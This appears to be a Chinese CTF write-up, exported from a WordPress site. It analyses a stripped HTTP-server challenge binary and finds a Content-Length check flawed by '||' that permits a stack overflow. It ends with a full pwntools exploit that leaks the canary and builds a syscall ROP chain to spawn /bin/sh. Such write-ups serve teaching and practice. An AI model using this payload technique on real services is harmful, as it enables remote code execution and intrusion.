![\"\"](\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\")
<\/div><\/figure>\n\n\n\n
\u63a5\u4e0b\u6765\u8fd9\u4e2a\u51fd\u6570\u4e00\u770b\u5c31\u662f\u8fd4\u56de\u54cd\u5e94\u5934\uff0c\u6700\u540e\u7ecf\u8fc7\u8c03\u8bd5\u53d1\u73b015\u884c\u7684\u51fd\u6570\u4f1a\u5bfc\u81f4\u8fdb\u7a0b\u7ed3\u675f\u9000\u51fa<\/p>\n\n\n\n
\u63a5\u7740\u8fdb\u5165\u4e0b\u4e00\u4e2a\u51fd\u6570\uff0c\u8fd9\u91cc\u9762ida\u53cd\u7f16\u8bd1\u7684\u5c31\u76f8\u5f53\u70c2\u4e86\uff0c\u6240\u4ee5\u6211\u4eec\u9700\u8981\u5229\u7528\u52a8\u6001\u8c03\u8bd5\uff0c\u8fd9\u91cc\u52a8\u6001\u8c03\u8bd5\u5176\u5b9e\u4e5f\u662f\u4e00\u4e2a\u96be\u70b9\uff0c\u6240\u4ee5\u5148\u8bb2\u4e00\u4e0b\u8fd9\u4e2a\u9898\u5e94\u8be5\u600e\u4e48\u52a8\u6001\u8c03\u8bd5\u5427\uff0c\u53cd\u6b63\u8fd9\u4e2a\u9898\u6211\u5c1d\u8bd5\u7528set follow-fork-mode parent\u4e5f\u6ca1\u5565\u9e1f\u7528\uff0c\u6211\u4e5f\u4e0d\u77e5\u9053\u4e3a\u4ec0\u4e48\uff0c\u4e0d\u8fc7\u5728\u82b1\u795e\u7684\u6307\u70b9\u4e0b\uff0c\u6211\u4e86\u89e3\u4e86\u4e00\u79cd\u65b9\u6cd5\uff0c\u5e76\u5c06\u4ed6\u7684\u65b9\u6cd5\u52a0\u4ee5\u6539\u8fdb\uff0c\u5199\u6210\u4e86\u4e00\u6bb5\u811a\u672c\uff08\u8c03\u6559AI\u5199\u7684\uff0c\u4f46\u662f\u597d\u7528\u7684\uff09<\/p>\n\n\n\n
def debug():\n command = [\"ps\", \"-ax\"]\n grep_command = [\"grep\", \"attachment\"]\n # \u6267\u884c ps \u547d\u4ee4\n ps_process = subprocess.Popen(command, stdout=subprocess.PIPE)\n # \u5c06 ps \u547d\u4ee4\u7684\u8f93\u51fa\u4f5c\u4e3a grep \u547d\u4ee4\u7684\u8f93\u5165\n grep_process = subprocess.Popen(grep_command, stdin=ps_process.stdout, stdout=subprocess.PIPE)\n # \u5141\u8bb8 ps \u547d\u4ee4\u7684\u8f93\u51fa\u6d41\u76f4\u63a5\u4f20\u9012\u5230 grep \u547d\u4ee4\n ps_process.stdout.close()\n # \u83b7\u53d6\u6700\u7ec8\u8f93\u51fa\n output = grep_process.communicate()[0]\n # \u8f93\u51fa\u7ed3\u679c\n pid=int(output.decode().split(' ')[14],10)\n attach(pid)\n pause()<\/code><\/pre>\n\n\n\n\u4e00\u5f00\u59cb\u82b1\u795e\u7ed9\u6211\u7684\u811a\u672c\u662f\u8fd9\u6837\u7684<\/p>\n\n\n\n
def debug():\n pid = util.proc.pidof(io)[0] + 1\n attach(pid)<\/code><\/pre>\n\n\n\n\u4f46\u53ef\u80fd\u662f\u7531\u4e8e\u6211\u7684\u73af\u5883\u95ee\u9898\u5427\uff0cpid = util.proc.pidof(io)[0] \u6211print\u51fa\u6765\u662f\u7a7a\u7684\uff0c\u6240\u4ee5\u53ea\u80fd\u7528\u524d\u9762\u7684\u90a3\u4e2a\u529e\u6cd5\uff0c\u7b80\u5355\u6765\u8bf4\u5c31\u662f\u5229\u7528\u201cps -ax | grep attachment\u201d\u8fd9\u4e2a\u547d\u4ee4\u5f97\u5230\u5b50\u8fdb\u7a0b\u7684\u8fdb\u7a0b\u53f7\uff0c\u7136\u540e\u6253\u5f00\u8fd9\u4e2a\u8fdb\u7a0b\uff0c\u5e76\u4e14\u8fd9\u4e2a\u65b9\u6cd5\u9002\u7528\u4e8e\u540e\u7eed\u6253\u5f00\u7684\u6240\u6709\u8fdb\u7a0b\uff0c\u82b1\u795e\u90a3\u4e2a\u8c8c\u4f3c\u53ea\u80fd\u7528\u4e8e\u8c03\u8bd5\u7b2c\u4e00\u4e2a\u5b50\u8fdb\u7a0b\u3002<\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n
<\/div><\/figure>\n\n\n\n
\u6620\u5165\u773c\u5e18\u7684\u662f\u8fd9\u4e2a\u753b\u7ea2\u6846\u7684\u51fd\u6570\uff0c\u6839\u636e\u8c03\u8bd5\uff0c\u89c2\u5bdf\u524d\u540e\u8fd4\u56de\u503crax\u7684\u53d8\u5316\uff0c\u4ee5\u53ca\u4f2a\u4ee3\u7801\u7684\u4e00\u4e9b\u7279\u5f81\uff0c\u6211\u4eec\u5927\u81f4\u53ef\u4ee5\u628a\u5b83\u770b\u6210strlen\u51fd\u6570\uff0c\u7531\u6b64\u53ef\u77e5v12\u5c31\u662f\u5728\u68c0\u67e5content\u7684\u957f\u5ea6\u662f\u5426\u5c0f\u4e8e0xf0\uff0c\u4e0b\u976224\u884c\u7684\u90a3\u4e2a\u51fd\u6570\u8c03\u8bd5\u8fc7\u7a0b\u4e2d\u786e\u5b9e\u6ca1\u770b\u51fa\u6765\u662f\u4e2a\u5565\uff0c\u5927\u6982\u5c31\u662f\u4e2a\u8d4b\u503c\u51fd\u6570\uff0c\u4f46\u662f\u8d4b\u7684\u503c\u4e5f\u633a\u5947\u602a\u7684\uff0c\u4e0d\u8fc7\u540e\u9762\u4e5f\u6ca1\u592a\u7528\u5230<\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n
<\/div><\/figure>\n\n\n\n
\u63a5\u7740\u5c31\u662f\u8fd9\u4e2aif\u5224\u65ad\u6761\u4ef6\uff0c\u6f0f\u6d1e\u4e5f\u5c31\u662f\u5728\u8fd9\uff0c\u4e0d\u8fc7\u8fd9\u4e2av10\u6570\u7ec4\u771f\u7684\u5f88\u62bd\u8c61\uff0c\u83ab\u540d\u5176\u5999\u7684\uff0c\u5f88\u660e\u663e\u5c31\u662fida\u53cd\u7f16\u8bd1\u7684\u4e0d\u597d\uff0c\u6240\u4ee5\u6211\u4eec\u8fd8\u662f\u8981\u52a8\u6001\u8c03\u8bd5\u770b\u4e00\u770b\u4ed6\u5230\u5e95\u6307\u5411\u4e86\u4ec0\u4e48<\/p>\n\n\n\n
\u5148\u6765\u770b\u4e00\u4e0b\u6211\u4eec\u7b2c\u4e00\u6b21\u53d1\u9001\u7684payload\u662f\u4ec0\u4e48<\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n
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<\/div><\/figure>\n\n\n\n
\u8fd9\u91cc\u5224\u65adrax\u548ccontentlength\u7684\u5173\u7cfb\uff0c\u5bf9\u5e94\u7684\u662f\u7b2c25\u884c\u7684\u5224\u65ad\uff0c\u6240\u4ee5v10[0]\u5bf9\u5e94\u7684\u662flength\uff0c\u63a5\u7740v10[1]\u5c31\u6bd4\u8f83\u8ff7\u60d1\uff0c\u8c03\u8bd5\u53d1\u73b0\u4ed6\u662f1\uff0c\u5e94\u8be5\u662f\u4e2a\u6807\u5fd7\u4f4d<\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n
\u6211\u4eec\u5230ida\u91cc\u627e\u627e\u5230\u5e95\u54ea\u91cc\u7ed9rbp-0x14c\u8fd9\u4e2a\u4f4d\u7f6e\u8d4b\u503c\u4e86<\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n
\u53d1\u73b0\u8fd9\u91cc\u5176\u5b9e\u662f\u5728\u8c03\u7528\u5b8cstrlen(host)\u4e4b\u540e\u8fdb\u884c\u7684\u8d4b\u503c\uff0c\u800cida\u91cc\u957f\u8fd9\u6837<\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n
\u5c31\u5f88\u83ab\u540d\u5176\u5999\uff0c\u6240\u4ee5\u8fd9\u91cc\u6b63\u786e\u7684\u53cd\u7f16\u8bd1\u5e94\u8be5\u662f<\/p>\n\n\n\n
v10[1]=stelen(host)<=0x2f<\/p>\n\n\n\n
\u56e0\u6b64v10[1]\u662f\u4e00\u4e2a\u5224\u65adhost\u957f\u5ea6\u662f\u5426\u5408\u89c4\u7684\u6807\u5fd7<\/p>\n\n\n\n
v12\u4e5f\u662f\u5224\u65ad\u957f\u5ea6\u7684\uff0c\u4ed6\u8ddflengthtag\u7684\u533a\u522b\u5c31\u5728\u4e8e\uff0cv12\u76f4\u63a5\u901a\u8fc7strlen\u83b7\u5f97content\u7684\u957f\u5ea6\uff0c\u800cv10[0]\u662f\u6839\u636e\u6211\u4eec\u8f93\u5165\u7684content-length\u6765\u83b7\u5f97\u957f\u5ea6\uff0c\u4e8c\u8005\u53ef\u4ee5\u4e0d\u4e00\u6837\u54e6\uff0c\u53d6\u51b3\u4e8e\u6211\u4eec\u7684content-length\u662f\u5426\u8fdb\u884c\u4f2a\u9020\u3002<\/p>\n\n\n\n
\u6240\u4ee5\u6f0f\u6d1e\u70b9\u5c31\u5728\u4e8e\u4ed6\u8fd9\u91cc\u9519\u8bef\u7684\u4f7f\u7528\u4e86\u201c||\u201d\u4f5c\u4e3a\u5224\u65ad\u6761\u4ef6\uff0c\u4f7f\u5f97\u6211\u4eec\u53ea\u9700\u8981\u6ee1\u8db3\u4e0a\u8ff0\u4e00\u4e2a\u6761\u4ef6\u5373\u53ef\uff0c\u7531\u6b64\u53ef\u4ee5\u4f2a\u9020contentlength\u5bfc\u81f4\u6808\u6ea2\u51fa\uff0c\u4e4b\u6240\u4ee5\u5bfc\u81f4\u4e86\u6808\u6ea2\u51fa\u8bf7\u7ee7\u7eed\u5f80\u4e0b\u770b<\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n
\u63a5\u7740\u6765\u52a8\u6001\u8c03\u8bd5\u8fd9\u4e2a\u51fd\u6570\uff0c\u5173\u6ce8rdi\uff0crsi\u548crdx<\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n
<\/div><\/figure>\n\n\n\n
\u53d1\u73b0rdi\u53d8\u6210\u4e86\u539f\u5148rsi\u7684\u5185\u5bb9\uff0c\u7531\u6b64\u731c\u6d4b\u8fd9\u4e2a\u51fd\u6570\u5b9e\u73b0\u4e86\u7c7b\u4f3cmemcpy\u7684\u529f\u80fd\uff0c\u90a3\u4e48v13\uff0cv14\u90fd\u662f\u6808\u4e0a\u7684\u4e1c\u897f\uff0c\u7531\u6b64\u5c31\u53ef\u4ee5\u5b9e\u73b0\u6808\u6ea2\u51fa\u4e86\u3002<\/p>\n\n\n\n
\u540e\u9762\u7684\u589e\u5220\u6539\u67e5\u5176\u5b9e\u662f\u8ff7\u60d1\u9879\uff0c\u4e00\u70b9\u7528\u4e5f\u6ca1\u6709\uff08\u5176\u5b9e\u4e5f\u6709\u4e00\u70b9\u7528\uff0cshow\u53ef\u4ee5\u628acanary show\u51fa\u6765\uff09\uff0c\u56e0\u4e3a\u6bcf\u6b21\u90fd\u4f1a\u5f00\u4e00\u4e2a\u65b0\u7684\u8fdb\u7a0b<\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n
show\u7684\u662fv14\uff0c\u6839\u636e\u521a\u624d\u5206\u6790\uff0c\u4e5f\u5c31\u662fcontent\u7684\u5185\u5bb9\uff0c\u4e8e\u662f\u6211\u4eec\u53ef\u4ee5\u5229\u7528\u8fd9\u4e2a\u5730\u65b9\u628acanary\u6cc4\u9732\u51fa\u6765<\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n
<\/span>\u5229\u7528\u65b9\u6cd5<\/span><\/h3>\n\n\n\nv14\u5728\u6808\u4e0a\u7684\u4f4d\u7f6e\u5982\u4e0a\uff0c\u6240\u4ee5\u6211\u4eec\u7b2c\u4e00\u6bb5payload\u53ef\u4ee5\u8fd9\u6837\u6784\u9020<\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n
\u7531\u6b64\u628acanary\u4f4e\u4f4d\u7684\\x00\u8986\u76d6\u4e3a\u2018a\u2019\uff0c\u4ece\u800c\u628acanary\u62fd\u51fa\u6765<\/p>\n\n\n\n
\u6709\u4e86canary\uff0c\u6211\u4eec\u5c31\u53ef\u4ee5\u8986\u76d6\u8fd4\u56de\u5730\u5740\uff0c\u6253rop\u4e86\uff0c\u4e0d\u8fc7\u672c\u9898\u6ca1\u6709libc\uff0c\u6545\u6cc4\u9732libc\u7684\u65b9\u6cd5\u6ca1\u6709\u7528\u4e86\uff0c\u53ea\u80fd\u6253syscall\u4e86<\/p>\n\n\n\n
\u5728bss\u4e0a\u5199\u4e0b\/bin\/sh\uff0c\u65b9\u4fbf\u6211\u4eec\u540e\u7eed\u8c03\u7528execve<\/p>\n\n\n\n
\u6784\u9020payload\u5982\u4e0b<\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n
\u6ce8\u610f\u6700\u540e\u4e00\u5b9a\u8981\u52a0b’\\r\\n’\uff0c\u5426\u5219\u683c\u5f0f\u4f1a\u6709\u95ee\u9898\u7a0b\u5e8f\u4f1a\u6b7b\u6389<\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n
<\/div><\/figure>\n\n\n\n
\u6210\u529f\u8986\u76d6ret\u5730\u5740<\/p>\n\n\n\n
\u7136\u800c\u63a5\u4e0b\u6765\u7684\u8c03\u8bd5\u8fc7\u6210\u4e2d\u53d1\u73b0<\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n
\u5728\u5339\u914d\u8def\u5f84\u65f6\u4f1a\u7528\u5230\u6808\u4e0a\u7684\u4e00\u4e2a\u5730\u5740\uff0c\u800c\u8fd9\u4e2a\u5730\u5740\u88ab\u6211\u4eec\u8986\u76d6\u6210\u4e86rop\uff0c\u6240\u4ee5\u4e3a\u4e86\u80fd\u591f\u6b63\u5e38\u7684\u627e\u5230\u8def\u5f84\uff0c\u6211\u4eec\u9700\u8981\u628a\u8fd9\u91cc\u7ed5\u8fc7\uff0c\u65b9\u6cd5\u5c31\u662f\u7528\u4e00\u4e2a\u957f\u4e00\u70b9\u7684pop<\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n
\u8fd9\u6837\u5c31\u6b63\u5e38\u4e86<\/p>\n\n\n\n
\u6700\u540e\u9644\u4e0aexp\u548c\u6210\u529f\u622a\u56fe<\/p>\n\n\n\n
from pwnplus import *\nimport subprocess\n\n\ncontext.log_level='debug'\ncontext.arch = 'amd64'\np=mypwn('.\/attachment')\nelf=ELF('.\/attachment')\n\ndef debug():\n command = [\"ps\", \"-ax\"]\n grep_command = [\"grep\", \"attachment\"]\n # \u6267\u884c ps \u547d\u4ee4\n ps_process = subprocess.Popen(command, stdout=subprocess.PIPE)\n # \u5c06 ps \u547d\u4ee4\u7684\u8f93\u51fa\u4f5c\u4e3a grep \u547d\u4ee4\u7684\u8f93\u5165\n grep_process = subprocess.Popen(grep_command, stdin=ps_process.stdout, stdout=subprocess.PIPE)\n # \u5141\u8bb8 ps \u547d\u4ee4\u7684\u8f93\u51fa\u6d41\u76f4\u63a5\u4f20\u9012\u5230 grep \u547d\u4ee4\n ps_process.stdout.close()\n # \u83b7\u53d6\u6700\u7ec8\u8f93\u51fa\n output = grep_process.communicate()[0]\n # \u8f93\u51fa\u7ed3\u679c\n # print(output.decode())\n pid=int(output.decode().split(' ')[14],10)\n attach(pid)\n pause()\n\ntemplate = '''POST \/{} HTTP\/1.1\\r\nHost: www.baidu.com\\r\nUser-Agent: Haha\\r\nContent-Length: {}\\r\nContent: {}\\r\n'''\n\npayload1=template.format(\"show\", 0x109, 'a'*0x109)\n\n\np.sd(payload1)\np.rcvu(b'a'*0x109)\ncanary=p.canary()\nprint('canary:',hex(canary))\n\n'''\n.text:0000000000458875 syscall ; LINUX - sys_write\n.text:0000000000458877 cmp rax, 0FFFFFFFFFFFFF000h\n.text:000000000045887D ja short loc_4588D0\n.text:000000000045887F retn\n'''\n\nbssaddr=0x0000000004E8470\nsyscall=0x0000000000458875\npop_rdi=0x000000000040297f\npop_rsi=0x000000000040a9ee\npop_rax_rdx_rbx=0x00000000004a4c4a\npop_r12_r13_r14_r15_rbp=0x000000000040545d\npayload2=p64(pop_r12_r13_r14_r15_rbp)+(b'a'*0x15 + b'\/add\\x00').ljust(0x28, b'a')\npayload2+=p64(pop_rdi)+p64(0)\npayload2+=p64(pop_rsi)+p64(bssaddr)\npayload2+=p64(pop_rax_rdx_rbx)+p64(0)#read\npayload2+=p64(0x200)+p64(0)\npayload2+=p64(syscall)+p64(pop_rdi)\npayload2+=p64(bssaddr)+p64(pop_rsi)\npayload2+=p64(0)+p64(pop_rax_rdx_rbx)\npayload2+=p64(59)+p64(0)#execve('\/bin\/sh',0,0)\npayload2+=p64(0)+p64(syscall)\npayload2=b'''POST \/add HTTP\/1.1\\r\nHost: www.baidu.com\\r\nUser-Agent: Haha\\r\nContent-Length: 768\\r\nContent: '''+b'a'*0x108+p64(canary)+p64(0)+payload2+b'\\r\\n'\n# debug()\np.sd(payload2)\np.sd(b'\/bin\/sh\\0')\n\np.ia()<\/code><\/pre>\n\n\n\n<\/div><\/figure>\n","protected":false},"excerpt":{"rendered":"
\u8fd9\u4e2a\u9898\u6bd4\u8f83\u6076\u5fc3\u7684\u5730\u65b9\u6709\u4e24\u4e2a\uff0c\u7b2c\u4e00\u4e2a\u662f\u8fd9\u4e2a\u9898\u6ca1\u6709libc\uff0c\u628a\u6240\u6709libc\u7684\u51fd\u6570\u81ea\u5df1\u91cd\u5199\u4e86\u4e00\u4e0b\uff0c\u7b26\u53f7\u8868\u5168\u90e8\u62b9\u6389\u4e86\uff0c […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[36,12],"tags":[],"class_list":["post-567","post","type-post","status-publish","format-standard","hentry","category-iot","category-pwn"],"_links":{"self":[{"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/posts\/567","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/comments?post=567"}],"version-history":[{"count":1,"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/posts\/567\/revisions"}],"predecessor-version":[{"id":601,"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/posts\/567\/revisions\/601"}],"wp:attachment":[{"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/media?parent=567"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/categories?post=567"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/tags?post=567"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}